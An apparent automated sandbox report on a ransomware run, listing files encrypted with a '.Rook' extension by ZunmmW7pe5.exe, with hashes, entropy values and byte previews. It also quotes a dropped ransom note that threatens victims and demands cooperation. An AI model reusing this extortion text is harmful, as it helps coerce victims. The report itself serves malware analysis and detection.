SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\MOCYNWGDZO.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8348984518316644
Encrypted:	false
SSDEEP:	96:Oo9PMWrLTNizkHdNK7Ko4/AAUn5U50+NS43LPuLjv:OY7JmYNxoiM5U50B43LPun
MD5:	3B5FBD737FB5A2BDBD95B2115176ED02
SHA1:	FBD60006F6BD862B24FE6555C4A068C88B267FDB
SHA-256:	AD314D32E88FF20D90FE53F57B1511596F993D4AE6280F1ED8B9643FAFEA061D
SHA-512:	8A56ECEA42FE68515A2988860F78B8F4D0F787CE6E6489F446027C0EFFFBDA07B212F0117A14E6395241D5C20981FB7DCC4A80760B955397E5E5493EFB25DEF4
Malicious:	false
Preview:	.d..W.<3....H.PqJXWVEXMAZFCWSNOW1.... ...v.x:."HLBXCGJHPEXXNITW.....^..7..{.e.AJXVPGEGUUVNIULV.>.9....+...JO..QLFMFVJSUAERDAOE6.B\|_....F...F.POVOPJCCCIRHICKB%....X%(..7.....XNGLJVGIIOILNEGR.B...V....R....rIXQSKJBXKIFCRLYY...H=......._+Z.ZAVQFYHZABDTLXVAOF.-...W.6+jyl.rERHWCUHUXUKEFWIV0h.}.s.Nu...j.'$AFUTOVRONZDHUXIF^.B..N..2..1].XXSWHSGEXQUJJJPPN..R....".9Q.H.TNBTYWXROFLGNORHb.{.D.&.5.J..t.FZMOBYNLQKULZXGF.`.!...H.(.mKGL.UKPVCPCODHNRUCNI.FC.aM.:...~.0IKCICNBANPAFLEBC..4......`I..,.HJKNQCGLYXDMZXWGE....:bq....1.TGWEOAMFOBBYVXBO...~....t..U.$$ODGYSUMJSEPOOUIJXCG...F.8.Y......DLPWJOTMIEEMHNPF..U.OL..H..E.,.QIESJYVVLEKLOMGF......{%E..A.UDOKZQPAXNCAPSBP9.$.w.....^p.wqJCCAQCXTWKOWHYFP..lp...h...i..,.KOAZWPTIBAXVJBVT........&,..{.Q JASIGFSMFGUQTTIV..6..cU8..9&....XSOZBKGHVKBXJLPUC..z.7_.$.c^.\!.JQRJIYYBQXNICKPC.\|.e. ..........DPXMXSNTZMUCAYAO.`..).m....{.a.OUKPWZTRQWNNZMUV...........qlQPQBRRAIQVXYOMSY. . .#@..0.P...mZFXJJENJOZVVDSEE.%.}..'...)X.r..VIKUPOBCYKBYFFBL}.\|6YPd.

C:\Users\user\Documents\OVWVVIANZH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.845000905784097
Encrypted:	false
SSDEEP:	96:G4121tpsCr8uk1St7Ko4/AAUn5U50+NS43LPuLjv:GI2hlO1HoiM5U50B43LPun
MD5:	AAF9AD86E6E5EA2C67755B7DFC323316
SHA1:	1B70066279823EDADC612140A7F5CCE0800FD20B
SHA-256:	1B82D23E77902D24F2407BD8250D1CF7069035FEF55E2973CEAE81774166A803
SHA-512:	21C321BFF9539B4919C788BB0D368D22C4CDB5D540A7AFCBAE5ECA404A05184D106322A82A1CEB1DC4BD532313D87517E2CC8B2A1686D038803D755DE80201B2
Malicious:	false
Preview:	.o..E.~.<4D.@f..STOURHCRPQFPUVPQ...].8&....W..%AKSTBWQDGWLQAPUA..).....{..E.8KYPRDWJTBAMULTFV...DS..x..T..HOXDUULNIZUDQBKQ....R...\|.f.CS.PUQXHVAAOZKSYSCXU....=.B......LDGZRWAMXCBJWGDRE>...-..^s.yO97.AZPTRPFOAYULIBES5.NqT.H@=$.. ,..CRYBJMRVOQHZZPXO.%Yd%3\|.........TYOPYRBXWXWVNIPQ...Y...W..=..MQTOCCFGYBYKVYAL..1%...p{.oI...EWRBFDABMGAWEVCS%.E`.K...l1i.(TJHMTXSDZQTDJQCQ..g:.#\|Z..`.x^t.JECILZUGNSGYVOHG..g.E..,.....LcMVXITVRPWWPLUEER......Z{......D.PGGXTTLWNZRFYGVS....<..:..C.DAQOKPMGHNINOQNHy.-.\.U...J.+9s]TAXZESTKIFXQCXDN..a...o......,.>AMJWDGQGWCPOBTPXe..Y.S.....=...VFMEXBWRHJBXLQDH.....J?Bo...f.sLMXBWHFLKLIAGAKQD;..N..PH..0..Q.DAPPBPGCQOOHWDCBj.n..2.....B.)_IOWZLTAIDMXYARRY.?...:...../.].DUPRLWSKRGCTTIQD..9kO..S.2.)..PZQLSWEVBDZXVQAO.....%bB.^.Z.0.AVBHEKYBUXNMLAWIf.{G.D..{.53...LJAYUVNUWQQYOHHWR..J......=.(g..=ZWHPDIXDEWDCNYUX..............!HVNOOCASKUTHAZVXP......C.:..(=..#FBGIZKVUDLFYSFJX..K\=(o-.blig..BTNPDEUUEDDRJHFX;5..i.).....d.h.QJTNTOREWWDDTIVJ.k..dJ..

C:\Users\user\Documents\UBVUNTSCZJ.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.838576204246293
Encrypted:	false
SSDEEP:	96:LacmD/Extm/N7Ko4/AAUn5U50+NS43LPuLjv:LeDs7oiM5U50B43LPun
MD5:	3E6E88C63A8926CC2E11D38F8C88B4EC
SHA1:	9E6985100C186B4F3E78C785D1B99EF8B9FAD541
SHA-256:	4B1E8B740CEB7CC3CA1534BDAEBA01EA08D00E1C32F3C3E3D3FC5E3B4D2C070C
SHA-512:	D7ED17C443EC9FE83E45F5DE94BA5D09BA90A2AF3BBAF678D68C44E0BE1B201CFE623B3E8076D93E413C93F88E5FFE28ECAFBB1E13BB25BFE2C7A400F4892AF5
Malicious:	false
Preview:	.]...+...Y.^C..ZLCTIUQFFTUXDGDMNh1P.G..)..Nu..aSTOXKFSFTPIFBIKU.`.K.D.....D..!EEEUNDVTZSSGPULU............M..OQKVROLRJDHOOHJXX....._-ql...'.EJCKLRVWCOLIIJKX..m."b........CFIUBQJSAAGFSLSZ<.,.....;..<y<V.VRABMEABTSRVNHFA..iGC=..,OoVx..nCHWOENBPZIRFFNIB?.....'t.=.....JYXIRUTOLTBLVSGVZ..D...Z..EB..PGXTFQAUQFHGAFMB..ra._....n.....NIIKVYFFALFRMJLPXb.p..`........VCRRTIKWLRPMCWOUJ.....5jy?..pIZVGCFNRVDQJDBZF #.C.....(.e...IFRJEDQXOLNJKZEAK.O\..4..~.4...+uTRTDUFPLZDAQZOEV......./l..1....ENCESIPRLRHJPSJI.`ZVn.$.......'ZPMJSJVKIRCJDUJTB.C=......6h;.CATMJTIPRCDTICNC.\....7.^.}.h.VRUZXEVVHOCRAMAN...B..5.:?..1.FOMUVYGSTOPSLYTH.+z.lw.......8[FBISOCNEJQIQSHCE..a..W%....LQLKPGBGVXXCAGMQ...k.J....v..~[.OXXERANPKKZPXOUE.0%.a..4.4u.m .LBBDDBNPFYMAIQEN.SO.v..I..g....HQZBZOZJSXPYCMWYGMRU.'#....OK...MREQFHKKODROXTZNz..M#...kS.Z.>fRVIHZNACJEUFOKBT..m....;..9.....SNIXNUGQEZKRSOOH.....&.#D.-.....ATAIQUBESVNNUPBTl...n......i..SXPLFTUDGBIUBNBE......D...@....UAERIXPFMGENDQBP...[.S']

C:\Users\user\Documents\UBVUNTSCZJ.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839300043244168
Encrypted:	false
SSDEEP:	96:BY579IxEOYy5sZbR41s47Ko4/AAUn5U50+NS43LPuLjv:qDOYy5ObRcsXoiM5U50B43LPun
MD5:	D93A8269781DC858661ECB441F21D495
SHA1:	B23B7BE776655EC30D473ADA740C3D7F0F457ADF
SHA-256:	1B94FAC915D3ABDC78526CC47BB913E3E9DFCBAB25C5B3850777718CE9E0DE97
SHA-512:	F6E9677719334F8CE4E625D8D231C9CC368DA93122E523F9BDCE34A7D0E25F02E38D64EDC114D57CDA69FB2ADC7D8F350083C6226D57145CD0FECCB3323D5874
Malicious:	false
Preview:	..s)..z. ,"-?.J.ZLCTIUQFFTUXDGDM+6...^......j.`STOXKFSFTPIFBIKU._bQ5..dg....1EEEUNDVTZSSGPULU..n.....K.3...#JOQKVROLRJDHOOHJX.J.]..........GEJCKLRVWCOLIIJKXm...m_..T..X.-.OCFIUBQJSAAGFSLSZ....[..mE0...z.VRABMEABTSRVNHFA~.X....NP......+CHWOENBPZIRFFNIBX..O......P.r...JYXIRUTOLTBLVSGVUl.. .v.4......PGXTFQAUQFHGAFMB..V..a..."...NIIKVYFFALFRMJLP.-.#.H.P.x:{c\.VCRRTIKWLRPMCWOUu[i].\\{%7..3...IZVGCFNRVDQJDBZF.Q?..w..d..P.x..FRJEDQXOLNJKZEAK.3..S%.M..@].O .TRTDUFPLZDAQZOEV.JL...iBs......AENCESIPRLRHJPSJIp.B......K...\xoPMJSJVKIRCJDUJTB?9;..CWg.. ...b=CATMJTIPRCDTICNC:.m.b..'..'.kl..VRUZXEVVHOCRAMAN....H....q[d..FOMUVYGSTOPSLYTH.....N.qN..l..FBISOCNEJQIQSHCE...6........$.iLQLKPGBGVXXCAGMQ...b..0...vd..R2OXXERANPKKZPXOUE....x....L....gLBBDDBNPFYMAIQEN..}R....3i.o.Y.QZBZOZJSXPYCMWYG.....L...6.J.~.MREQFHKKODROXTZN.?g=...wO.@....RVIHZNACJEUFOKBT.^o.'2....vuj1..SNIXNUGQEZKRSOOH./.H........c...ATAIQUBESVNNUPBT..40......X..M.+SXPLFTUDGBIUBNBE.].K.HP...ODj..HUAERIXPFMGENDQBPm...b.n.

C:\Users\user\Documents\UBVUNTSCZJ.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.849467827881629
Encrypted:	false
SSDEEP:	96:UMHzErR0XEyBEST7Ko4/AAUn5U50+NS43LPuLjv:fzErR0RBEloiM5U50B43LPun
MD5:	A23D0D89EA6431E442047758AAFCBB0A
SHA1:	EB4278502DC2B81D70EFD761539D8DB682543FE0
SHA-256:	425460AC8AA89DD47686C1F0BE02BC428707E86AC6933307D95FC8DE8E60302A
SHA-512:	EABC044869288D4B9A3CAA26990B328591D461F46A90D415C3511D41191C7922F70646038267F03554799D6A2E03959C3E576969275365C12DC7298471BB4314
Malicious:	false
Preview:	...9.w...%2..+.-ZLCTIUQFFTUXDGDMM6...o.....f...STOXKFSFTPIFBIKU.ST..x.....$....EEEUNDVTZSSGPULU9..7d..:4t..o3.OQKVROLRJDHOOHJX.`..~...Si..q.PEJCKLRVWCOLIIJKX{..w..y0.gqk)2>.CFIUBQJSAAGFSLSZ...x..G.Xf..>.VRABMEABTSRVNHFA(.2.\|.?..>3..c.CHWOENBPZIRFFNIBq~....S.;...E.g.JYXIRUTOLTBLVSGVV..p.{....)...3mPGXTFQAUQFHGAFMB.Q).8.>X./...@..NIIKVYFFALFRMJLP..6...0..?.z\|:.VCRRTIKWLRPMCWOUi]J..L..(j....qIZVGCFNRVDQJDBZF..5..W^70_Av.7..FRJEDQXOLNJKZEAK.5'...._U..</.-8TRTDUFPLZDAQZOEV6...d..Z....^q!ENCESIPRLRHJPSJI..O..:.7".XJ}Y4PMJSJVKIRCJDUJTB.a.g&........K8.CATMJTIPRCDTICNC..b.D"M....XQ.VRUZXEVVHOCRAMAN.j...I..p...''FOMUVYGSTOPSLYTHV.x...=\..U..`.FBISOCNEJQIQSHCE..R`..).1D....lLQLKPGBGVXXCAGMQ.G..f...Q.3..R.OXXERANPKKZPXOUE.v.v.%.[8U....0{LBBDDBNPFYMAIQEN.....hu'..3$_,QZBZOZJSXPYCMWYG[...ARW-...5.6.WMREQFHKKODROXTZN.1".]C...Z.0cRVIHZNACJEUFOKBT...o.a.S.a....SNIXNUGQEZKRSOOH.=....zM-..4...ATAIQUBESVNNUPBT...(..^....u\q..SXPLFTUDGBIUBNBE..=s....E....OUAERIXPFMGENDQBP..(.k...

C:\Users\user\Documents\WHZAGPPPLA.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.842634885611443
Encrypted:	false
SSDEEP:	96:CJA7UaTP+KMpN7Ko4/AAUn5U50+NS43LPuLjv:+HLYoiM5U50B43LPun
MD5:	E50561960C86CF57FABDF61072C270E3
SHA1:	CA7138E72EA320294250235234056634DBF4C131
SHA-256:	5B4E0254D368A4BB8A8497BA1E5809E89980E1BBEAFAABEF4A8D95B99DB3A908
SHA-512:	9ADB268314D218F942FD463AAC47EAEF0FF12B4809C359950BF761A2907E690427D497AB6211D59F6726BB22462377699EB38608535B666EC5AB13B1978B2821
Malicious:	false
Preview:	...D`R......WP..CUNPWLIPSTKGXJJH..2..h.)..M...GJNKLAQFLYRVIJCX....M.:\|~. Iw.%OFPUXUNJELZTWLSC...}...\.{.g...eEBDBXTJOVUOJXAJY....oi.T....2}!LKJEEOPCASTYPHMC....0N..W.F....YULUACRKXOWBGJZIv.Z.\|....zi.o.:.LDGGSFEIUJILBDVW.wx.........4.EYCOULLKZCWMCRHT..f`}N..~$....WBEBYBIVIWOONLTP.z..j'..d...-...ALXTTAMSNCLYYGZF..U...e.....`kDMKNPRJNGLGUCIEKf....BA..s.}#.M.ZUTQMJOYVJRXYMXA.....)(.....f.TYDTHAODYZHZCXKV.8..L..b.Q..~.vXLRQAUCSMTNYWFMI....=\|.}....{.s.GQWCINLCVUOJQWDB........62..H.$IVUSEYMOHMSBEVQJ...G.HR-.-...A<wGJXXWFMWUETTDXDG..dC..~....Y....XBVHRNMBLWUTKNBAw.k.-....W.e/..[OYLRNYFEOQEYSVVJ....h.\|B...(}..DAYWFNMFUJJOVHNG.f.U.!N...KQ.0.6IKLOLJVADGGUCRVF..x.....'I.....KMLOAVJEDFLOCVQF....o...b7.%..3BTGGQRJFISGOPPIV.h:l.c..Qzb.f...SBSTYAHOEBQCZKPU.....K.tm..h>..jAMKEYIXMDRHNJVKS..Vy.uF..g:x....PSNRHWMQQWQPYJJK7..sGV.J.+t.[K..KKTJSOYKCXCOSJQS.l.&.Vw.!.w...ICHUHDTCRBUSPJLW....+wh..9(.5.^XGKKKGADJYISDOMZN..o..5..1.g3...NMBGQFXPSONUPKDH........q.u....SCOZNIWFCCCOSZFN.mh.;.

C:\Users\user\Documents\WHZAGPPPLA\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\ZUYYDJDFVF.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.83981421207971
Encrypted:	false
SSDEEP:	96:onw233Lww56B6L13jJ87Ko4/AAUn5U50+NS43LPuLjv:oLnLJ5XtoiM5U50B43LPun
MD5:	82E377761406746770E41EB777764A8D
SHA1:	B94F3BD4280CF9B87A75CCAF8CDCF55DC52FF54E
SHA-256:	F25DB9A30955C6DBAB98BB272D3C5EBC55CA4CF2FB2317F79ECF9C0CFAA6048B
SHA-512:	7A6FCDA8832AFF38ED3D5EC2F9C2FFEF370C381A6627F1277DF292D474131C6ED3705EBD6D7C508D7601CAF645C876FA1734765C035F1AC7BA26B811B92B689D
Malicious:	false
Preview:	.. .N.<...Pe..HHOQXTSNPBHYEJCG....@.:.M,6k..X.XFIJJCFHWLJBBRXP.!>....OSUvF.]KGXPKCSIOJRJCOVGvX..Q&VCjrt....HHZFMUPHPRIFMSBK...?.xj.'.@~...kKTIZUBENVCKWONAE.U.=........v..WHRSKEJQGLMLFOVZ8C......E....zNRPCFRMXETXWVNWKpBk.6..........RPKNHHHPCBRHKGMA.V..Nl@!~?.H...nQHPHINYNDKJANQJM55.'....m.....Z.JCAYSHYANULGFODY.o{Y.{I...(.\|..ZLWLFIJAJVRDKLPM..Tp...pd.?Ga...PGQYOOPFXNAPEUAOSN.ycQ..U.Qt....JJSMKMKLLVJGEXPDTH...3...Z?.s.HDXCGDXDDDRPHFMGEr)y/..Rg._....YZDVVDKDTUHIWYOX).....3:..W.YsGZYOLJYMXKJBINMTA..5U.}.e..d.ZFPZEAAQCBOJUMGWhs...[.P...&..NPHYCLFFMVQNVWRZ?....K..M...x..dPWNGFFAXTNIPSIXU]...1F....N?..#INIWMMVVOLFCVETM -....c(.;5.g8iPKZBACESLDLZKGFPYn'Aof..G{.6..U..DVXDZIDWPYWGIVQJ..t....W(..m...YYZEBWXZGOHXIBTI.8.i.'[6......DHJUGEYGGJHUMVIYw...2BF.`t..@..IYSURLCGHWJYDTFJ`[qr.......Wa+..HELNDROMZYRVVGUD+....F0..d].....MSNQTGPQCPSMWKUY........Q..b.t.]FLWZYBYCJBNYYIUS....B\O..p..\|4.HZQTCSUOROWJBLYK.Y...@......5..FYGWTHBHUFFQSHCUN...u...Nr_....!RGAFHTOABWPHIZIRI<v>E.Q

C:\Users\user\Downloads\BQJUWOYRTO.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.83112989122554
Encrypted:	false
SSDEEP:	96:DfQ/fmC5Hu+7Ko4/AAUn5U50+NS43LPuLjv:DI/f7aoiM5U50B43LPun
MD5:	E8FD322EA8709A289F90312477695C55
SHA1:	64246C1814027C9B3E63A4439674E53785706573
SHA-256:	982163B28CF7F7EFFF96C771E348164AE634508EC50C4A9AA443FAED9BA42BEA
SHA-512:	4ED8EE4B68CDD7E6FA0C663392AFFCD81EB6D4E392CE1869B87992CEC8CDA11AF4274F6E794655DE163721A74A422FD91645900847E4C42165D6D8CB8A644AC5
Malicious:	false
Preview:	P.t\p...e<.../XDLSWRNMFMCSYXRPJ.#x}ys.m..M.tuDYNKGJBBEKHPTUBS<..@.......!9 ..JPJKOPTWULSKKXLS.I.D...RIj..Y{,.BXKKCMYLLBRWPJMB......P...K^DK..RNGQLIDNRZYVXHIWp..#.\.......\^EBKWCQQGPRFDTAZULB~.A..g.......AIWAICBXNPXUMZFR..}.V.....<n..pvBODAVKDNOLRNYNBK....v.P.....f.!KDRZIHJDDUPOXQOJ...V`\|......f..DPYCRBAHBBGKXGMOD..^dW..p.n.....CUCKKJSLQYPIMPYZi\|.~...Crq..%At.QHTXZBXONOWDVDWQ9..u........,_.SFUGKZZBFUUTDDOM^-...9.w.)uF~.e{SLPUXATPQGHCHIJR2...`..=.]Y.#p.OEDHOUMBJWJSCXGDMlN..Q... .V.k..3KRJCRXWGYTZRFYVO.Y~.OR...P.K...FMPWSBHHWRRLBRKC.Sz\|.'/....&CL3.PHYJGALXNLZXJVWW$iP..f.....<!`1.KRDQBGOXOULNHYYU....A.!(.cK..[LNJBTSMXAWVUVUVK..`.W...K.)w..JtMJMFWUZTFVNALCFB.c..C8.....f1BZRVOPDFCORECRQJW.TN.$..o...#D=.LXOISHLMFTEBKUAI.VT.........Y..uLSIPNJTWJLGARSXDx.3..O.\.1.q.!MLKQTPVOVXSGKMXEE..^.0U+zn.r.[..*PXBVELHRSUIIUSGM`......Y.L.n.bQ.GAVGKNPMSZMHRWAK.,gI.9.T..!.e5..LAAVOSTLMEJGFHJS.6.j...[...lWB.UWSZMQZHAMPRHAWD51~..3.....9..w.ZNMBWVRFZTJLSUUU....Z.....J.)[.IJTNPLJBASLIHCUC+afN.h..

C:\Users\user\Downloads\BUFZSQPCOH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839612866696952
Encrypted:	false
SSDEEP:	96:ghviWrTaD7Ko4/AAUn5U50+NS43LPuLjv:gwWhoiM5U50B43LPun
MD5:	BFFB7EE68DF8B290D7181100BE16CE6C
SHA1:	DEF2DA6FE76B3783794790151325DC7705BF36F4
SHA-256:	E7369B5B08D002BB558EACEA531EB6E28F09E9EE829E640B68ED5A6DA1F9A2C9
SHA-512:	1C19AF9431ED78696750804BB4AC6F731ED21507BD089AD12C340D6BE59E612A7DA0EFA013B5567D392AF4CFE0B071A9744B4FEFD8CE978FFDC9EC7BC1411050
Malicious:	false
Preview:	G.H...5.......HMHLNSRPRTVPDQBU..@.PB.6O......DJEJWAHUKUUNHNODO....^..3....q_VUCIFBOWJXTDYGJY.9.."...0.Q..HSRGGYVPVGUAROKTlg.I5....gl.....UNUVQUXGDDRCCFXN.n5....Z.h.K...aITBSODAQBZRACSSJ..H.IY..%.W.b.K.NWLGQGIXRSOSOSXFK.......C.....".KNLLIXAXMLRXRNSAF...._e..b.6x..ZZGQUPFGUIAACPLZQh..<P?H..7.Cy.nEZHQMZKSQNGWWBKC."3S.E..].q6L.-UCQBYNKOAKNKXZAUO.....~\=.<ci..QESNPTYNSPXUTDFYX.x;..m..vJwBR.3.CIBKOGMJGNSDDHJI..M.`KR..4.=..v.DMMSOGVDCESUEEHG..-:.U......LZEKAGRGLYLWFGMAx#.. ..n{.m...]LTUUXPEUGETZPBEK(.t..'..v...FO.VDHIDSZROKAYGDUI.Y..\|.R.Q.....QVJPAVOFSSUSZJNMT...........m.AQEKDHCKCIVUYLXHC....weg.i.$<.OMGKTRDESXVITCZNH.g]v. ...U.EC.b.SMCHTFHQMHCXBMKZM...up.?%.......GBJNFZWJWPLWVHAV6..(....;IX..'..CMDUDJRJPWXFBWBC21...8.5.<.<J..xQDFROZXDUUROLEJY.8...(.'y."wb.RYABQHMQMPXTIBHFFz._..$F...+;.WENGHOTDBECRYJDN...Aa,.w.I8..>.YMCPEBELRZLSAHCI?........M5Y<.&ITMLNPHLHXANDSON.....61jG,.B6..JKHEASISSKRWUYGFgR..Y.,)..d3.AJQYLOQBNHYGIGKJ4.y..7.N,...L...HDTONANJGYWXHUWU3zz.>...

C:\Users\user\Downloads\BWDRWEEARI.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.84567109640309
Encrypted:	false
SSDEEP:	96:S8JfHfIJjLsYyY7Ko4/AAUn5U50+NS43LPuLjv:SYf/IJjLsYy3oiM5U50B43LPun
MD5:	71FAA68DAA7632600E55B3CC2AD68EE8
SHA1:	69CFB03D090F8A6034E7DCFC7F4F568DF67BF326
SHA-256:	C7419512EDC6194D99FB1D861F04E41F8A97A6436520047B020A5FF8CB98F5A2
SHA-512:	4F3569ADCAF1BA999AAEB983A5DF3F6E9B3485171FC60EB3E62C35D4E56EFD1F9456E20E400F38F2DDC72258298D538A2C900499C030F98DEC1B4E3C8575C91B
Malicious:	false
Preview:	?..x.$.....r<G.YFZKKDZROVEXHIWVb_..9.b2...k\..&UARELJDXJXCSHTPH.Q..X9L.$v..Aj.SWGLMRRJSEIGOIXH....q1.......AY.EYRRCAEYIYIDAZFY..^.{....~... ..QIAICZQWEBEGEFKV@...=.."....z.VMUNNYYOCDVZVNLF.I(..o.xP.X.. ..DRJAHLNPQBHYCZTY;....O..n@T)\|...LMPPSQZAAYPORMHI...?.A.o..2..p.FIRXNFDVQZSZAWNVm`x..g.@c..[....NFJJZSUQWRBLHJRB..c...o,..wZ.YNHPPIXZOEZBTJVV.O.{R....%=..{.ATZPXEFMEGBQIWJWE<.....4.{...VBYCRJHEAPKMQTFB....]...B..%...FKBIVGOEKQTPROWJ...j..T.z.'....DOYJHFLFDPWAUBFZ=1.[..l.5"..I,.zEFIGEXIWYKDNDXZDy-.^..^...p....GEYCOTPSHBIHWNMF.R]9l.B..y!.Y.R.XRDUTNEVIVXRZAFT...JK.~ \l.g...NNFAZREEJMMAYLCEEN..p0n.:...f<AUDJBTIBXIGLQAUA8W...e..\..k6...AVBCBZQUROXOPVYH7g..t.n.Y..g..n.VEVNCAEAGPJZDVRS.....].......SKDCSULRFDCPIFAQB...\.ll...9\|.JQFDAXWIIRQOXDDH...\\.}o...!..MTWWPRGTZDPGWXXO.n^..3......(.<UJGTQKFTJYBFZUIM...]AlY..'.....RSFZXSFZBBCYPRSA=Up......lL..REJOCEEMMPDKFUGG...%.X....:nZM.KBUNLSSHRUSLHBDF.\|..(v.F..+...P4CHGINQIOTMAKGKPQh....;_>=..85.o6UPKQZAJUMMQGLLGA..$.lV{.

C:\Users\user\Downloads\BWDRWEEARI.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847198146779103
Encrypted:	false
SSDEEP:	96:7kiBHhiJmW3ZXvc7Ko4/AAUn5U50+NS43LPuLjv:4OiJmW3ZjoiM5U50B43LPun
MD5:	8E2BA52925CCFA6B513DA330015DA41F
SHA1:	565013D3862A15096C00FB4D8EFAF688D69ACD75
SHA-256:	5D5DEB726B7F7FB4772090644FEA026EE8EBB7F4CFD5821CDA27A85F95FA0406
SHA-512:	E089AEBAD4D4DF22B4318C38C679E00261F19B036ED5D2C4E337001686C4BEF150251778629665B5D889880D57C2137FA9A549BABAC1E296E1049CCE19B5DB8E
Malicious:	false
Preview:	...a....R...zsYFZKKDZROVEXHIWVK.\.5B.......w..UARELJDXJXCSHTPH..Q.a.di..d.<9.SWGLMRRJSEIGOIXHb-.)...$.....EYRRCAEYIYIDAZFY.....`FCG..+.:LQIAICZQWEBEGEFKV.7...5W..Vb....DVMUNNYYOCDVZVNLF....E..Tq.N.,.TDRJAHLNPQBHYCZTY...ad.........LMPPSQZAAYPORMHIG.Z..n#.....e..FIRXNFDVQZSZAWNV{.......4...;gNFJJZSUQWRBLHJRBB#..D..%uU..p6.YNHPPIXZOEZBTJVV!{Z.i9.qr.9....TZPXEFMEGBQIWJWE....#6.n....xd..VBYCRJHEAPKMQTFB3mP........=...FKBIVGOEKQTPROWJ..j.\|h.w+@.<k1.&DOYJHFLFDPWAUBFZ.S....\.i-.!..NvEFIGEXIWYKDNDXZD....X..^.#.c.0B.GEYCOTPSHBIHWNMF....9.]'.$....wXRDUTNEVIVXRZAFT../.s.,....{...NNFAZREEJMMAYLCE.;..........v.+AUDJBTIBXIGLQAUAd...kZ....>!.:..AVBCBZQUROXOPVYH\|.:....WqawT6<.VEVNCAEAGPJZDVRST.n..<.E\|.4a.. 3SKDCSULRFDCPIFAQ..}..Z..fY..$..JQFDAXWIIRQOXDDH..`..d.I...H6..MTWWPRGTZDPGWXXO..)..\|.X<....M/#UJGTQKFTJYBFZUIM.......q.IT.X..RSFZXSFZBBCYPRSA..y.k.a...3..]..REJOCEEMMPDKFUGG.........~.s...KBUNLSSHRUSLHBDF7.!.L.....x...CHGINQIOTMAKGKPQ..#.....r8......UPKQZAJUMMQGLLGA..?.[..l

C:\Users\user\Downloads\BWETZDQDIB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847908962135887
Encrypted:	false
SSDEEP:	96:Nsu68NUvQGQRnVnCNzn7Ko4/AAUn5U50+NS43LPuLjv:NI8uvQRVnC5GoiM5U50B43LPun
MD5:	C8B21D5BEF9641414875EB278FBDAF00
SHA1:	99549FBB6D897AA9BF8820B57B0EEB7A71044AA1
SHA-256:	372AEAE82526282DFFB8519F62235F383786C9279312CB2E3267B8AAA65999B6
SHA-512:	94BBA8310EB973F087DE1592DE0D0B0FA6D7302FD20356BCC3CC584400E4571CD5CD9F42ECC1BDDBA99A432B2F7EBA0A1D02A904599F6AD187D1D9FB41906E7A
Malicious:	false
